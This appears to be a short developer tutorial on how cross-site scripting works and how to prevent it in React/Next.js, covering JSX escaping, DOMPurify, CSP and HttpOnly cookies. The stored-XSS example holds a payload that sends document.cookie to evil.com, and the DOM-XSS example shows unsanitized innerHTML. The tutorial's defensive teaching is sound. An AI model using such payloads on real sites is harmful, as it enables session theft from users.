How do XSS attacks work, and what are the different prevention strategies in a React/Next.js application?

Types of XSS

1. Stored XSS (most dangerous)

// User saves malicious content to database
const comment = '<img src=x onerror="fetch('https://evil.com?c='+document.cookie)">';

// Later displayed without escaping → script executes for ALL viewers

2. Reflected XSS

URL: https://app.com/search?q=<script>alert(1)</script>
// Server reflects the param in HTML without escaping

3. DOM-based XSS

// Client-side code reads from URL and injects into DOM
const q = new URLSearchParams(location.search).get("q");
document.getElementById("result").innerHTML = q; // ❌ Unsanitized!

Prevention in React/Next.js

React's Built-in Protection

// ✅ Safe: React auto-escapes JSX
<p>{userInput}</p>  // <script>... displayed as text

// ❌ Dangerous: Bypasses escaping
<div dangerouslySetInnerHTML={{ __html: userInput }} />

Sanitize HTML Content

import DOMPurify from "dompurify";

const clean = DOMPurify.sanitize(userInput, {
  ALLOWED_TAGS: ["b", "i", "em", "strong", "a"],
  ALLOWED_ATTR: ["href"],
});

<div dangerouslySetInnerHTML={{ __html: clean }} />

Content Security Policy (CSP)

// next.config.ts
const cspHeader = `
  default-src 'self';
  script-src 'self' 'nonce-{random}';
  style-src 'self' 'unsafe-inline';
  img-src 'self' blob: data:;
  connect-src 'self' https://api.example.com;
`;

HttpOnly Cookies

// Prevent JS access to session tokens
res.setHeader("Set-Cookie", [
  `token=${jwt}; HttpOnly; Secure; SameSite=Strict; Path=/`,
]);
// document.cookie → can't read the token

Checklist

Prevention	Prevents
React JSX escaping	Stored + reflected XSS
DOMPurify	Stored XSS from rich text
CSP headers	Inline script injection
HttpOnly cookies	Token theft via XSS
Input validation	Reduces attack surface
encodeURIComponent	URL-based injection